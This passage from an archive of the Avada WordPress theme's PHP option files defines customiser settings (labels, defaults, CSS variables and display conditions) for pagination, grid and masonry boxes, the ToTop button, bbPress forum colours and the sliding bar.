'--pagination_border_width', 'value_pattern' => '$px', ], ], ], 'pagination_border_radius' => [ 'label' => esc_html__( 'Pagination Border Radius', 'Avada' ), 'description' => esc_html__( 'Controls the border radius of the displayed page links. Values of half the overall width or higher will yield circular links.', 'Avada' ), 'id' => 'pagination_border_radius', 'default' => '0', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'css_vars' => [ [ 'name' => '--pagination_border_radius', 'value_pattern' => '$px', ], ], ], 'pagination_text_display' => [ 'label' => esc_html__( 'Pagination Text Display', 'Avada' ), 'description' => esc_html__( 'Turn on to display the "Previous/Next" text.', 'Avada' ), 'id' => 'pagination_text_display', 'default' => '1', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'fusion-show-pagination-text', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'pagination_font_size' => [ 'label' => esc_html__( 'Pagination Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the pagination text.', 'Avada' ), 'id' => 'pagination_font_size', 'default' => '13px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--pagination_font_size', ], ], ], 'pagination_range' => [ 'label' => esc_html__( 'Pagination Range', 'Avada' ), 'description' => esc_html__( 'Controls the number of page links displayed left and right of current page.', 'Avada' ), 'id' => 'pagination_range', 'default' => '1', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '10', 'step' => '1', ], // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'related_posts_layout_partial' => [ 'js_callback' => [ 'isPaginationOnPage' ], ], ], ], 'pagination_start_end_range' => [ 'label' => esc_html__( 'Pagination Start / End Range', 'Avada' ), 'description' => esc_html__( 'Controls the number of page links displayed at the start and at the end of pagination.', 'Avada' ), 'id' => 'pagination_start_end_range', 'default' => '0', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '10', 'step' => '1', ], // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'pagination_start_end_range_partial' => [ 'js_callback' => [ 'isPaginationOnPage' ], ], ], ], ], ], 'gridbox_section' => [ 'label' => esc_html__( 'Grid / Masonry', 'Avada' ), 'description' => '', 'id' => 'gridbox_section', 'type' => 'sub-section', 'fields' => [ 'gridbox_styling_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: These are Grid Box Styling global options that apply to grid boxes throughout the site; blog grid and timeline, portfolio boxed layout and WooCommerce boxes. Blog / Portfolio elements also have options to override these.', 'Avada' ) . '
', 'id' => 'gridbox_styling_important_note_info', 'type' => 'custom', ], 'timeline_bg_color' => [ 'label' => esc_html__( 'Grid Box Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for the grid boxes.', 'Avada' ), 'id' => 'timeline_bg_color', 'default' => 'rgba(255,255,255,0)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--timeline_bg_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--timeline_bg_color-20px-transparent', 'callback' => [ 'return_string_if_transparent', [ 'transparent' => '', 'opaque' => '20px', ], ], ], [ 'name' => '--timeline_bg_color-not-transparent', 'callback' => [ 'get_non_transparent_color', '' ], ], ], ], 'timeline_color' => [ 'label' => esc_html__( 'Grid Element Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of borders/date box/timeline dots and arrows for the grid boxes.', 'Avada' ), 'id' => 'timeline_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--timeline_color', 'js_callback' => [ 'timeLineColorCallback' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'full-transparent' ], 'element' => 'html', 'className' => 'avada-has-transparent-timeline_color', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'grid_separator_style_type' => [ 'label' => esc_html__( 'Grid Separator Style', 'Avada' ), 'description' => __( 'Controls the line style of grid separators. NOTE: For blog and portfolio grids at least one meta data field must be enabled and excerpt or full content must be shown in order that the separator will be displayed.', 'Avada' ), 'id' => 'grid_separator_style_type', 'default' => 'double|solid', 'type' => 'select', 'choices' => [ 'none' => esc_html__( 'No Style', 'Avada' ), 'single|solid' => esc_html__( 'Single Border Solid', 'Avada' ), 'double|solid' => esc_html__( 'Double Border Solid', 'Avada' ), 'single|dashed' => esc_html__( 'Single Border Dashed', 'Avada' ), 'double|dashed' => esc_html__( 'Double Border Dashed', 'Avada' ), 'single|dotted' => esc_html__( 'Single Border Dotted', 'Avada' ), 'double|dotted' => esc_html__( 'Double Border Dotted', 'Avada' ), 'shadow' => esc_html__( 'Shadow', 'Avada' ), ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'updateGridSeps', ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'grid_separator_color' => [ 'label' => esc_html__( 'Grid Separator Color', 'Avada' ), 'description' => esc_html__( 'Controls the line style color of grid separators.', 'Avada' ), 'id' => 'grid_separator_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--grid_separator_color', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'full-transparent' ], 'element' => 'body', 'className' => 'avada-has-transparent-grid-sep-color', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'grid_masonry_heading' => [ 'label' => esc_html__( 'Masonry Options', 'Avada' ), 'description' => '', 'id' => 'grid_masonry_heading', 'type' => 'info', ], 'gridbox_masonry_important_note_info' => [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: These are Masonry global options that apply to the Blog / Portfolio / Gallery elements in addition to Blog and Portfolio archives. Blog / Portfolio / Gallery elements also have options to override these.', 'Avada' ) . '
', 'id' => 'gridbox_masonry_important_note_info', 'type' => 'custom', ], 'masonry_grid_ratio' => [ 'label' => esc_html__( 'Masonry Image Aspect Ratio', 'Avada' ), 'description' => __( 'Set the ratio to decide when an image should become landscape (ratio being width : height) and portrait (ratio being height : width). IMPORTANT: The value of "1.0" represents a special case, which will use the auto calculated ratios like in versions prior to Avada 5.5.', 'Avada' ), 'id' => 'masonry_grid_ratio', 'default' => '1.5', 'type' => 'slider', 'choices' => [ 'min' => 1.0, 'max' => 4.0, 'step' => 0.1, ], // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'masonry_grid_ratio_partial' => [ 'js_callback' => [ 'isMasonryOnPage' ], ], ], ], 'masonry_width_double' => [ 'label' => esc_html__( 'Masonry 2x2 Width', 'Avada' ), 'description' => __( 'This option decides when a square 1x1 image should become 2x2. This will not apply to images that highly favor landscape or portrait layouts. IMPORTANT: There is a “Masonry Image Layout” setting for every image in the WP media library that allows you to manually set how an image will appear (1x1, landscape, portrait or 2x2), regardless of the original ratio.', 'Avada' ), 'id' => 'masonry_width_double', 'default' => '2000', 'type' => 'slider', 'choices' => [ 'min' => 200, 'max' => 5120, 'step' => 1, ], // Prevents full refresh if js_callback returns false. 'full_refresh' => [ 'masonry_width_double_partial' => [ 'js_callback' => [ 'isMasonryOnPage' ], ], ], ], ], ], 'totop_section' => [ 'label' => esc_html__( 'ToTop', 'Avada' ), 'description' => '', 'id' => 'totop_section', 'type' => 'sub-section', 'fields' => [ 'status_totop' => [ 'label' => esc_html__( 'ToTop Script', 'Avada' ), 'description' => esc_html__( 'Turn on to enable the ToTop script which adds the scrolling to top functionality.', 'Avada' ), 'id' => 'status_totop', 'default' => 'desktop', 'type' => 'radio-buttonset', 'choices' => [ 'desktop_and_mobile' => esc_html__( 'Desktop & Mobile', 'Avada' ), 'desktop' => esc_html__( 'Desktop', 'Avada' ), 'mobile' => esc_html__( 'Mobile', 'Avada' ), 'off' => esc_html__( 'Off', 'Avada' ), ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'desktop', 'does-not-contain' ], 'element' => 'body', 'className' => 'no-desktop-totop', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaToTopVars', 'id' => 'status_totop', 'trigger' => [ 'scroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'totop_position' => [ 'label' => esc_html__( 'ToTop Button Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of the ToTop button. On mobiles also non-floating layouts will be floating.', 'Avada' ), 'id' => 'totop_position', 'default' => 'right', 'type' => 'radio-buttonset', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'left_floating' => esc_html__( 'Left Floating', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'right_floating' => esc_html__( 'Right Floating', 'Avada' ), ], 'output' => [ // Change the avadaToTopVars.totop_position var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaToTopVars', 'id' => 'totop_position', 'trigger' => [ 'updateToTopPostion' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], 'totop_border_radius' => [ 'label' => esc_html__( 'ToTop Border Radius', 'Avada' ), 'description' => esc_html__( 'Controls the border radius of the ToTop button. For non-floating layouts the border radius will only apply to the upper corners.', 'Avada' ), 'id' => 'totop_border_radius', 'default' => '6', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'css_vars' => [ [ 'name' => '--totop_border_radius', 'element' => '#toTop', 'value_pattern' => '$px', ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], 'totop_background' => [ 'label' => esc_html__( 'ToTop Background', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the ToTop button.', 'Avada' ), 'id' => 'totop_background', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--totop_background', 'element' => '#toTop', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], 'totop_background_hover' => [ 'label' => esc_html__( 'ToTop Background Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the background hover color of the ToTop button.', 'Avada' ), 'id' => 'totop_background_hover', 'default' => 'var(--awb-color5)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--totop_background_hover', 'element' => '#toTop', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], 'totop_icon_color' => [ 'label' => esc_html__( 'ToTop Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the icon color color of the ToTop button.', 'Avada' ), 'id' => 'totop_icon_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--totop_icon_color', 'element' => '#toTop', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], 'totop_icon_hover' => [ 'label' => esc_html__( 'ToTop Icon Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the icon hover color of the ToTop button.', 'Avada' ), 'id' => 'totop_icon_hover', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--totop_icon_hover', 'element' => '#toTop', 'callback' => [ 'sanitize_color' ], ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], 'totop_scroll_progress' => [ 'label' => esc_html__( 'ToTop Show Scroll Progress', 'Avada' ), 'description' => esc_html__( 'Turn on to show the page scroll progress within the ToTop Button.', 'Avada' ), 'id' => 'totop_scroll_progress', 'default' => '0', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '.to-top-container', 'className' => 'awb-to-top-scroll-progress', ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], [ 'setting' => 'totop_position', 'operator' => '!=', 'value' => 'left', ], [ 'setting' => 'totop_position', 'operator' => '!=', 'value' => 'right', ], ], ], 'totop_scroll_down_only' => [ 'label' => esc_html__( 'ToTop Show on Scroll Down Only', 'Avada' ), 'description' => esc_html__( 'Turn on to show the ToTop button on scroll down only. Otherwise it will always show if the page is scrolled.', 'Avada' ), 'id' => 'totop_scroll_down_only', 'default' => '1', 'type' => 'switch', 'output' => [ // Change the avadaToTopVars.totop_scroll_down_only var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'choice' => 'top', 'globalVar' => 'avadaToTopVars', 'id' => 'totop_scroll_down_only', 'trigger' => [ 'ready' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'required' => [ [ 'setting' => 'status_totop', 'operator' => '!=', 'value' => 'off', ], ], ], ], ], ], ]; return $sections; } Avada/includes/options/bbpress.php000064400000005357152342437700013253 0ustar00 esc_html__( 'bbPress', 'Avada' ), 'id' => 'bpress_section', 'priority' => 3, 'icon' => 'el-icon-person', 'alt_icon' => 'fusiona-user', 'fields' => array( 'bbp_forum_base_font_size' => array( 'label' => esc_html__( 'bbPress Forum Base Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the base font size for replies. Some related font sizes are automatically calculated from it.', 'Avada' ), 'id' => 'bbp_forum_base_font_size', 'default' => '12px', 'type' => 'dimension', 'css_vars' => array( array( 'name' => '--bbp_forum_base_font_size', ), ), ), 'bbp_forum_header_bg' => array( 'label' => esc_html__( 'bbPress Forum Header Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color for forum header rows.', 'Avada' ), 'id' => 'bbp_forum_header_bg', 'default' => '#ebeaea', 'type' => 'color-alpha', 'css_vars' => array( array( 'name' => '--bbp_forum_header_bg', 'callback' => [ 'sanitize_color' ], ), ), ), 'bbp_forum_header_font_color' => array( 'label' => esc_html__( 'bbPress Forum Header Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the font color for the text in the forum header rows.', 'Avada' ), 'id' => 'bbp_forum_header_font_color', 'default' => '#747474', 'type' => 'color-alpha', 'css_vars' => array( array( 'name' => '--bbp_forum_header_font_color', 'callback' => [ 'sanitize_color' ], ), ), ), 'bbp_forum_border_color' => array( 'label' => esc_html__( 'bbPress Forum Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border color for all forum surrounding borders.', 'Avada' ), 'id' => 'bbp_forum_border_color', 'default' => '#ebeaea', 'type' => 'color-alpha', 'css_vars' => array( array( 'name' => '--bbp_forum_border_color', 'callback' => [ 'sanitize_color' ], ), ), ), ), ); return $sections; } Avada/includes/options/sliding_bar.php000064400000054172152342437700014067 0ustar00 esc_html__( 'Sliding Bar', 'Avada' ), 'id' => 'heading_sliding_bar', 'priority' => 8, 'icon' => 'el-icon-chevron-down', 'alt_icon' => 'fusiona-arrow-down', 'fields' => [ 'slidingbar_widgets_notice' => [ 'id' => 'slidingbar_widgets_notice', 'label' => '', 'description' => sprintf( /* translators: %1$s: Off Canvas page URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant Sliding Bar setup, we recommend using the Avada Off Canvas Builder. To create an Off Canvas, visit this page.', 'Avada' ) . '
', admin_url( 'admin.php?page=avada-off-canvas' ) ), 'type' => 'custom', ], 'slidingbar_widgets' => [ 'label' => esc_html__( 'Sliding Bar on Desktops', 'Avada' ), 'description' => esc_html__( 'Turn on to display the sliding bar on desktops.', 'Avada' ), 'id' => 'slidingbar_widgets', 'default' => '0', 'type' => 'switch', 'edit_shortcut' => [ 'selector' => [ '.fusion-sliding-bar-area' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Sliding Bar', 'Avada' ), 'icon' => 'fusiona-arrow-down', ], [ 'aria_label' => esc_html__( 'Edit Sliding Bar Widgets', 'Avada' ), 'link' => admin_url( 'widgets.php' ), ], ], ], 'partial_refresh' => [ 'sliding_bar_content_slidingbar_widgets' => [ 'selector' => '.fusion-sliding-bar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sliding_bar' ], ], 'header_content_slidingbar_widgets' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-slidingbar-widgets', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'mobile_slidingbar_widgets' => [ 'label' => esc_html__( 'Sliding Bar On Mobile', 'Avada' ), 'description' => __( 'Turn on to display the sliding bar on mobiles. IMPORTANT: Due to mobile screen sizes and overlapping issues, when this option is enabled the triangle toggle style in the top right position will be forced for square and circle desktop styles.', 'Avada' ), 'id' => 'mobile_slidingbar_widgets', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'false' ], 'element' => 'body', 'className' => 'no-mobile-slidingbar', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'slidingbar_open_on_load' => [ 'label' => esc_html__( 'Sliding Bar Open On Page Load', 'Avada' ), 'description' => esc_html__( 'Turn on to have the sliding bar open when the page loads.', 'Avada' ), 'id' => 'slidingbar_open_on_load', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'slidingbar_position' => [ 'label' => esc_html__( 'Sliding Bar Position', 'Avada' ), 'description' => esc_html__( 'Controls the position of the sliding bar to be in the top, right, bottom or left of the site.', 'Avada' ), 'id' => 'slidingbar_position', 'default' => 'top', 'type' => 'radio-buttonset', 'choices' => [ 'top' => esc_html__( 'Top', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), ], 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'sliding_bar_content_slidingbar_position' => [ 'selector' => '.fusion-sliding-bar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sliding_bar' ], ], ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-has-slidingbar-position-$', 'remove_attrs' => [ 'avada-has-slidingbar-position-top', 'avada-has-slidingbar-position-right', 'avada-has-slidingbar-position-bottom', 'avada-has-slidingbar-position-left' ], ], ], ], 'slidingbar_width' => [ 'label' => esc_html__( 'Sliding Bar Width', 'Avada' ), 'description' => esc_html__( 'Controls the width of the sliding bar on left/right layouts.', 'Avada' ), 'id' => 'slidingbar_width', 'default' => '300px', 'type' => 'dimension', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'slidingbar_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'slidingbar_position', 'operator' => '!=', 'value' => 'bottom', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_width', ], [ 'name' => '--slidingbar_width-percent_to_vw', 'callback' => [ 'string_replace', [ '%', 'vw' ] ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '%', 'contains' ], 'element' => 'body', 'className' => 'avada-has-slidingbar-width-percent', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'slidingbar_sticky' => [ 'label' => esc_html__( 'Sticky Sliding Bar', 'Avada' ), 'description' => esc_html__( 'Turn on to enable a sticky sliding bar.', 'Avada' ), 'id' => 'slidingbar_sticky', 'default' => 1, 'type' => 'switch', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'slidingbar_position', 'operator' => '!=', 'value' => 'right', ], [ 'setting' => 'slidingbar_position', 'operator' => '!=', 'value' => 'left', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-slidingbar-sticky', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '#slidingbar-area', 'className' => 'fusion-sliding-bar-sticky', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'slidingbar_widgets_columns' => [ 'label' => esc_html__( 'Number of Sliding Bar Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns in the sliding bar.', 'Avada' ), 'id' => 'slidingbar_widgets_columns', 'default' => '2', 'type' => 'slider', 'choices' => [ 'min' => '1', 'max' => '6', 'step' => '1', ], 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'sliding_bar_content_slidingbar_widgets_columns' => [ 'selector' => '.fusion-sliding-bar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sliding_bar' ], ], ], ], 'slidingbar_column_alignment' => [ 'label' => esc_html__( 'Sliding Bar Column Alignment', 'Avada' ), 'description' => esc_html__( 'Allows your sliding bar columns to be stacked (one above the other) or floated (side by side) when using the left or right position.', 'Avada' ), 'id' => 'slidingbar_column_alignment', 'default' => 'stacked', 'type' => 'radio-buttonset', 'choices' => [ 'stacked' => esc_html__( 'Stacked', 'Avada' ), 'floated' => esc_html__( 'Floated', 'Avada' ), ], 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'slidingbar_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'slidingbar_position', 'operator' => '!=', 'value' => 'bottom', ], ], 'partial_refresh' => [ 'sliding_bar_content_slidingbar_column_alignment' => [ 'selector' => '.fusion-sliding-bar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sliding_bar' ], ], ], ], 'slidingbar_content_padding' => [ 'label' => esc_html__( 'Sliding Bar Content Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left paddings of the sliding bar area.', 'Avada' ), 'id' => 'slidingbar_content_padding', 'default' => [ 'top' => '60px', 'bottom' => '60px', 'left' => '30px', 'right' => '30px', ], 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'type' => 'spacing', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_content_padding-top', 'choice' => 'top', ], [ 'name' => '--slidingbar_content_padding-bottom', 'choice' => 'bottom', ], [ 'name' => '--slidingbar_content_padding-left', 'choice' => 'left', ], [ 'name' => '--slidingbar_content_padding-right', 'choice' => 'right', ], ], ], 'slidingbar_content_align' => [ 'label' => esc_html__( 'Sliding Bar Content Alignment', 'Avada' ), 'description' => esc_html__( 'Controls sliding bar content alignment.', 'Avada' ), 'id' => 'slidingbar_content_align', 'default' => is_rtl() ? 'right' : 'left', 'type' => 'radio-buttonset', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_content_align', 'element' => '.fusion-sliding-bar', ], ], ], 'sliding_bar_styling_title' => [ 'label' => esc_html__( 'Sliding Bar Styling', 'Avada' ), 'description' => '', 'id' => 'sliding_bar_styling_title', 'type' => 'info', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], ], 'slidingbar_toggle_style' => [ 'label' => esc_html__( 'Sliding Bar Toggle Style', 'Avada' ), 'description' => esc_html__( 'Controls the appearance of the sliding bar toggle.', 'Avada' ), 'id' => 'slidingbar_toggle_style', 'default' => 'circle', 'type' => 'radio-buttonset', 'choices' => [ 'triangle' => esc_html__( 'Triangle', 'Avada' ), 'rectangle' => esc_html__( 'Rectangle', 'Avada' ), 'circle' => esc_html__( 'Circle', 'Avada' ), 'menu' => esc_html__( 'Main Menu Icon', 'Avada' ), ], 'icons' => [ 'triangle' => '', 'rectangle' => '', 'circle' => '', 'menu' => '', ], 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'partial_refresh' => [ 'sliding_bar_content_slidingbar_toggle_style' => [ 'selector' => '.fusion-sliding-bar-wrapper', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'sliding_bar' ], ], 'slidingbar_toggle_style_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper, .fusion-header-wrapper, #side-header-sticky, #side-header, #sliders-container', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'slidingbar_toggle_style_header_replace_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header_position' ], 'success_trigger_event' => 'header-rendered fusion-partial-wooslider', ], ], 'output' => [ // Change classes in . [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-slidingbar-toggle-style--$', 'remove_attrs' => [ 'avada-slidingbar-toggle-style-triangle', 'avada-slidingbar-toggle-style-rectangle', 'avada-slidingbar-toggle-style-circle', 'avada-slidingbar-toggle-style-menu' ], ], ], ], 'slidingbar_bg_color' => [ 'label' => esc_html__( 'Sliding Bar Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the sliding bar.', 'Avada' ), 'id' => 'slidingbar_bg_color', 'type' => 'color-alpha', 'default' => 'var(--awb-color7)', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_divider_color' => [ 'label' => esc_html__( 'Sliding Bar Item Divider Color', 'Avada' ), 'description' => esc_html__( 'Controls the divider color in the sliding bar.', 'Avada' ), 'id' => 'slidingbar_divider_color', 'default' => 'var(--awb-color6)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_divider_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_toggle_icon_color' => [ 'label' => esc_html__( 'Sliding Bar Toggle/Close Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the sliding bar toggle icon and of the close icon when using the main menu icon as toggle style.', 'Avada' ), 'id' => 'slidingbar_toggle_icon_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_toggle_icon_color', 'element' => '.fusion-sb-toggle-wrapper', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_font_size' => [ 'label' => esc_html__( 'Sliding Bar Heading Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the sliding bar heading text.', 'Avada' ), 'id' => 'slidingbar_font_size', 'default' => '14px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_font_size', 'element' => '#slidingbar', ], ], ], 'slidingbar_headings_color' => [ 'label' => esc_html__( 'Sliding Bar Headings Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the sliding bar heading font.', 'Avada' ), 'id' => 'slidingbar_headings_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_headings_color', 'element' => '#slidingbar-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_text_color' => [ 'label' => esc_html__( 'Sliding Bar Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the sliding bar font.', 'Avada' ), 'id' => 'slidingbar_text_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 40%))', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' => '==', 'value' => '1', ], ], 'css_vars' => [ [ 'name' => '--slidingbar_text_color', 'element' => '#slidingbar-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'slidingbar_link_color' => [ 'label' => esc_html__( 'Sliding Bar Link Color', 'Avada' ), 'description' => esc_html__( 'Controls the text color of the sliding bar link font.', 'Avada' ), 'id' => 'slidingbar_link_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 14%))', 'type' => 'color-alpha', 'required' => [ [ 'setting' => 'slidingbar_widgets', 'operator' 